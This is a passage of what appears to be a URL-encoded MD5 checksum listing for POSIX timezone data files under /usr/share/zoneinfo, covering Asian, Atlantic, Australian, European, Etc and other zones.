56f0f53%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FDushanbe%0A13bef0cb98e437f0a6b57e66c6b98904%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FGaza%0A316c57053df431ff91311f393d82b740%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FHarbin%0A1d5c67162287c6703098b892fd9d7d34%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FHovd%0Ae92131416d9a26ca466c88ecc0d0bb22%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FIrkutsk%0A98fb60a24df5b28f309fb8a2956bbfa6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FJakarta%0A802ae574869d80145a62803dbe205f7f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FJayapura%0A468adadd1ad58f27408f74ea42bd0bbd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKabul%0A0ad5098ff1690a589a563d0c3594b4f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKamchatka%0Aad52828d6c3a2c31ee2b69504a31fd91%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKarachi%0Ae1d19e33a6572dc19d93168398412656%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKashgar%0A51bd74fc2097ed0e3a843f8ea89d8106%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKatmandu%0A90ffefeeb16b04f37d3c4cc340223643%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKrasnoyarsk%0A924b06c218d919282501f338778aa495%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FNovosibirsk%0A213e85612872ef8015e0352b004f3e38%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKuching%0Aff78a86473d2feb35a3155a7a7191f25%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKuwait%0Ac5fe6e2975c4a8ad1be4c7f8f1924303%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FMacao%0Aa418faef6059b788c56a2ad37cf42c83%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FMagadan%0Afa08b8c70df808269dfc40c6391fa47f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FManila%0Ac9e99d8184b54d6e50c21e78e9e7499f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FMuscat%0Add3412f536357a288cdb1fd4524ac8a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FPhnom_Penh%0A69c30f6d4bc7d7d1a4e1d93f793739ad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FOmsk%0A14c4a828abcde14b76e82fa21a5ec27a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FUjung_Pandang%0A039b300437b0aa03da1a31607cc5811d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FPontianak%0Ae9e43558ead9a7379c3796cb80bf97f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FPyongyang%0Abde939d0b44ac698afc4792e8646471d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FQatar%0Afbfc48ee066c1205d7fec64a3fc05706%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FRangoon%0A01237c88153dd1201b7d6fb9ddd6a74b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FRiyadh%0A5ddad36c73abb0de70185a4e9a7fd2cc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FSaigon%0A7159d21f26a2354d69886ff593fd6ea6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FSamarkand%0A44e17587252993ae41e5212667f278f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FTashkent%0Ad46de433347ce59778af1e6ec7d934c7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FTbilisi%0A05c1faba0d36e75e8ceaa6ad9c1105a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FVientiane%0Ab1fc15c3615e1df5a3472b4702c18df2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FUrumqi%0A0e03d10cad1bf5bbe85ce337ff191cfd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FYekaterinburg%0Ae4ecdaf53c898830e2bde1827568d535%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FVladivostok%0A197dcf1878f925bb8af7a49b1007d1f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FYakutsk%0A1b6a64ba30f7663f629a8b38cc803f15%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FUlaanbaatar%0A701946c555d5e8de7e986330ae19b335%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FYerevan%0A1802f2356ef48ea41a88eb350a030db7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FTel_Aviv%0A1b6a64ba30f7663f629a8b38cc803f15%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FUlan_Bator%0Ab8f0d6d105e1b12534a365119d01ccad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FTokyo%0A15345e63780afd3cbf0e0e6a8fa75313%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FThimphu%0A15345e63780afd3cbf0e0e6a8fa75313%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FThimbu%0A0edd969f5dd7cc3d1da58a35bb5f2dfd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FTehran%0A2cb7700780c8b4963f72c9dab967cffa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FTaipei%0A742c2406b041ed40406094ab73c83e43%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FSingapore%0A7f6b70f5f9d91b58b5d56c6a35faefb2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FShanghai%0A49b064a11f619899d63d1cc455406995%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FSeoul%0A7cdebc647a3533af161763a340cfe9f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FRiyadh89%0A1e11e2b26a718283d87041715c2a30c8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FRiyadh88%0A6c5fee6f8a68cd1c326321970c2b0d9f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FRiyadh87%0A42135bbd5f922141b0bdf101c71cd82e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FNicosia%0A1802f2356ef48ea41a88eb350a030db7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FJerusalem%0A84690d9f97e356c7c9138ac2a0781761%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FIstanbul%0A69576b56ab708dbaeb70a132265f273c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FHong_Kong%0A68b6389ae47dce9c0d1b5e2db2082dc8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FDhaka%0A68b6389ae47dce9c0d1b5e2db2082dc8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FDacca%0A46862b46efd2727c2f7fec77c136898f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAshkhabad%0A46862b46efd2727c2f7fec77c136898f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAshgabat%0A5df95b7e8875a807f41e34a724671404%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FCape_Verde%0Ace05f34fded7d290eeb8f6607e711fba%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FAzores%0A209c576ee60e0cf2ea48e18a6ca549cc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FBermuda%0Ab220ac66610da4a4d49dc58b2c81b85b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FCanary%0Ac03bfc048d3957a919fe34ea18b85254%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FSouth_Georgia%0A493dc00cdad9f8f02daa6be311a13a27%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FFaeroe%0A1d9aedd1fb23904ed42a0ff6e05bbaa9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FMadeira%0A320a737880759fee2d65268af0c38986%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FSt_Helena%0Aa6cc1505807e094e9f2cf9e4bf959ce2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FStanley%0A7e6686b4e68a68f5088d7b6784598dc6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FReykjavik%0Afd888c3218f34e71dc57221143d44ccb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAtlantic%2FJan_Mayen%0Aa88a3d08c4635457f1714eaadc2906bd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FLindeman%0Abaf2149867f08e16900a30ab083d0558%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FWest%0A9eb3f07d14596f0e07d7f23586edcf11%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FLHI%0Abaf2149867f08e16900a30ab083d0558%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FPerth%0Aa89f5b81d67e23c0e6491d0de7ee4c39%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FVictoria%0A7292726aa7e5b4c31343754e273b3dd0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FACT%0Aa89f5b81d67e23c0e6491d0de7ee4c39%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FMelbourne%0A9eb3f07d14596f0e07d7f23586edcf11%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FLord_Howe%0Aabaa9a29012cf150070a1ab6ac348847%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FTasmania%0Aabaa9a29012cf150070a1ab6ac348847%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FHobart%0Ac8fc212be11708b7ca96df5aa7c86a45%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FNorth%0Ac8fc212be11708b7ca96df5aa7c86a45%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FDarwin%0A5ae547613e4644a48093df09db9d131a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FYancowinna%0A5ae547613e4644a48093df09db9d131a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FBroken_Hill%0Aeced5af13d64a6fab60e1826e75f62f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FQueensland%0Aeced5af13d64a6fab60e1826e75f62f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FBrisbane%0Aa55c577a2e553fdc7261c634a156eb1b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FSouth%0A7292726aa7e5b4c31343754e273b3dd0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FNSW%0Aa55c577a2e553fdc7261c634a156eb1b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FAdelaide%0A7292726aa7e5b4c31343754e273b3dd0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FCanberra%0A7292726aa7e5b4c31343754e273b3dd0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAustralia%2FSydney%0Ac5c319e99113cb65827f904a0fbdf374%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FBrazil%2FDeNoronha%0Af5575a1b10f0c267522f9e1a3ca6b888%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FBrazil%2FEast%0A989abd045ee47dc5f19f26cbdc493171%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FBrazil%2FAcre%0A24210f1a2615a304bf58b9f07f4f326a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FBrazil%2FWest%0Aedd8b0176e76cdcde84e8764e1a318e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FNewfoundland%0A97853dd48411bf87466aa8dc9f712885%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FCentral%0Acf327ccb9e9bcb2982db0bd4f14d8080%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FYukon%0Abd4333393bb17efb3d460d6441422405%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FPacific%0A02af1835231f2a553a197fcbd19e17b5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FSaskatchewan%0A6a2961ab6cf33a142ad90288f51c5745%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FAtlantic%0Ad6f45d1f8c9115c7a866796ab8c8d722%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FEastern%0A02af1835231f2a553a197fcbd19e17b5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FEast-Saskatchewan%0A60e67814b44375a53e5a83527133dfd3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCanada%2FMountain%0A73755870b8c866a601c0d934f48120d6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCET%0Adfad9062c5a29d6a54c32852b91d7e32%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FChile%2FEasterIsland%0A8f031cb559484dda05d793524f47da88%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FChile%2FContinental%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FUniversal%0A36c4ce7f05984aa56c34510ca2e0b36c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B1%0Abca03c74466be764cbf63c27a79c0eea%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B10%0A2b3f6bb27ce40d88f4cf142ba8c89cdf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B11%0Ae8550a1acda4e26d24667cc59e4bbfbf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B12%0Aa90e1ace711116799c07b8beb0fb64ba%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B2%0A6fb2a054de96ce3d9ab54754a7ddc051%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B3%0A072f58e25eea1ccb0e3353ea68971378%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B4%0A0df2ef0f06aa7c2a1dbc3b13f4606c94%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B5%0Adb5b0cea31c24f9599b452614ca58c43%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B6%0A1f690da32039499538c01e15427020f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B7%0Ac2465b173a957e0b051a05494ce957c1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B8%0A0852176aaf1e4f4c360fd80ea28fd102%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B9%0Ae23e54559a8c08a2b7f652e68e687269%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-1%0A9dd5d6915f94d527bbc6672214d17623%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-10%0A5e491446224f9c6a2a99cfe56f5b46bf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-11%0Abff76629619f67b913a69788e84e542f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-12%0Ae5f0d6981aff6c0ccc14e4442cb71506%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-13%0Afc3753fef9fe1eab85c69eda08e9318e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-14%0Afa2e1ea8e2e797aa74c676d9f9373065%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-2%0A789ea340de290609b9fd8439c46cc43a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-3%0Ac57e526d30986bdd1590f44d4ec25f5c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-4%0Ab0cda2675d03846dcbfd7ac8aae0928f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-5%0A8c79960d1267e617ab6cbed3d682479b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-6%0A1d93177b840be09f0775123d323b370f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-7%0A3403d59765c40442c6db0a0a6b7c82b3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-8%0A0adf4041fce6f4d15dceee7353203588%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-9%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FZulu%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%2B0%0A58509d20328588b047b8af8673e9c3ad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FUCT%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FUTC%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT-0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGreenwich%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEtc%2FGMT%0Afc29c7035a9de76a845bfd1af5bcffea%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEET%0A9b46e2def1a504b91cc783d0b0a7e7b8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FAmsterdam%0Ae32686836465e564be49d040591b070d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FAndorra%0A7ca967dbcaaddccf72c764f0934dec58%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FAthens%0Af0934bd67790a130f1d7f27770adb109%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBelfast%0A3e5c29c94c5e8746e27915b9e1bd8d6b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBerlin%0Af83bbf5df0b4046d357eed0c782eed2a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBrussels%0A13a41b93ea77857328185171c58313f2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBucharest%0A216383aba92cf78235d4a3d7638bd090%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBudapest%0A8efc72daacd8884fa3c64cedf19cd8ee%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FCopenhagen%0Aea65813d9e8dd6f89b6e7f45af736e2c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FGibraltar%0Adb64f0bedf936d442466acffa382cd28%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FHelsinki%0A8875762a2881a809475a1ef436df3534%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FKaliningrad%0A8c27616184882f372dfda7aad2c00fcb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FKiev%0A80b565d3b24ac95c91d7a91a304a8956%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FLuxembourg%0Ab72dc2756c0db29b6c98d00fa3a05ef6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FMadrid%0Ad9169baa1c86f4b50ae89fc9ee66d865%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FMalta%0A2c8bf97a06c3a5efb18e053407255554%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FMinsk%0A1a41ac975eef6a17a3e03ac85f8be9f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FMonaco%0A6a39c7fb5d84f0408fce26b44268f56a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FParis%0A581dbed5d25edc11160d734a48c94182%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FRiga%0A718089f30860bfbcf864812b6693c0e0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FSamara%0A4b55740a09f827dcb9e7fcbd914f6b3d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FSimferopol%0Afacbcb1dd610e00168e89b0fc9b107c7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FSofia%0Aa130ac91586eda266c961441c78d7715%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FStockholm%0A001f9714c1b12cd5f8d17d3c053e62c2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FTallinn%0A1cd0f0ee521ff80127e1199c0a06c752%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FTirane%0Aaf884e5fce47769448a72600ff7fb7e2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FUzhgorod%0A626060e7c35fdffdcf59e50eb8983515%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FVaduz%0A94860b4ca86b10402fb4ff79fdcada3f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FVienna%0Ab359af936604872930f810f0cf482483%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FVilnius%0A930cfc6e6b2191161aa582cac7120010%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FZaporozhye%0Afdafea4d40d7540e3395558a0593cd6c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FZurich%0A7682d3e8540273adbb7ee35f52948e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FWarsaw%0Aa3e8171971ae213aa3e656712f9bd24e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FSan_Marino%0Aa3e8171971ae213aa3e656712f9bd24e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FVatican%0Ac4f28389191f01c90e1e748ab4960350%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FMoscow%0Aa3e8171971ae213aa3e656712f9bd24e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FRome%0A4c9f9c5c5f86bcc5465c08831ef59e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FLondon%0A645f002c9d89a0c81ab6320d399f9618%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FLisbon%0A8d6a9e7007fe2a32165d9f5a5c918c6e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FTiraspol%0Afd888c3218f34e71dc57221143d44ccb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FOslo%0A8d6a9e7007fe2a32165d9f5a5c918c6e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FChisinau%0Ab1ba486a583fb73f1306d1e6cf7366e6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FPrague%0Ab1ba486a583fb73f1306d1e6cf7366e6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBratislava%0A71ee5aa97aaed6b961f5e5b6f967d7f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FLjubljana%0A71ee5aa97aaed6b961f5e5b6f967d7f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FSarajevo%0A71ee5aa97aaed6b961f5e5b6f967d7f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FSkopje%0A71ee5aa97aaed6b961f5e5b6f967d7f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FZagreb%0A1f0a6164226fe99d3297d897c0a81c0f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FDublin%0A42135bbd5f922141b0bdf101c71cd82e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FNicosia%0A71ee5aa97aaed6b961f5e5b6f967d7f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FBelgrade%0A84690d9f97e356c7c9138ac2a0781761%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEurope%2FIstanbul%0Afd4793a674181b81617ec423b4abc471%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FAntananarivo%0Ad6581b2b6181fa11174966ecbd3b7e6c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FChagos%0A7ba142accad2cc3cb00c711191918317%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FChristmas%0Aececabcfda16ade35cbcb38ebe7f3715%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FCocos%0Aff05e5859f5d9f3d557d68707e41379e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FComoro%0A86d5bbf944ef1451d930999bf33a3429%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FKerguelen%0Af33a8cc5b19c55dded9e98f6b7befe94%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FMahe%0A792f3b4fce39b0f9003987f976b6a9bb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FMaldives%0Ac5aa058853ebb2aef1686e83a3792026%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FMauritius%0A099f0cdf23789a72e314617ab5a6b84e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FMayotte%0Acf00aa3f17e21108f61d2467c6813b6e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIndian%2FReunion%0Ae8fb7d33b7ba858af40f322da1b72a8b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FFactory%0A702aa6d78a9d247ce99d7b87133ef14d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMexico%2FBajaNorte%0A1a5e9052b0cb341386281aa38d6c24a7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMexico%2FGeneral%0A756b5f938bb85d66ec81b91636c0c44b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMexico%2FBajaSur%0Aff2aea1c24a5420f3e1ce387d50dfd48%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMET%0A7cdebc647a3533af161763a340cfe9f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMideast%2FRiyadh89%0A1e11e2b26a718283d87041715c2a30c8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMideast%2FRiyadh88%0A6c5fee6f8a68cd1c326321970c2b0d9f%20%20%2Fusr%2F